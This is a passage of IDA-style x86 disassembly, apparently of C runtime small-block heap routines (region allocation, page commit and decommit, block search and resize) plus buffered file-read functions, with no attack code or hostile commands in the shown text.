		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43FB90, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43FB80
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43FB80
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43FB80, 0
		jnz	short loc_41E9F6
		mov	off_43FB80, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43FB84, 0
		jnz	short loc_41EA1B
		mov	off_43FB84, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43FB84
		mov	[esi+4], eax
		mov	off_43FB84, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28D0747h


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43FB80
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4E21C4
		nop
		call	near ptr 27B0000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28D0747h
		nop
		cmp	off_441BA0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_441BA0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43FB80
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4E21C4
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43FB90, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43FB84
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 28D0747h
		nop
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4E0BA4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43FB84
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43FB80
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4E0BA4
		cmp	dword_4E0BA4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_441BA0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_441BA0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_441BA0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43FB80
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28D08BEh
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_441BA0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_441BA0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4E1E80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_442200


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4E1F80
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4E1E80h[eax*4]
		mov	eax, dword_4E1E80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2690A97h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4E0B28, 9
		mov	dword_4E0B2C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
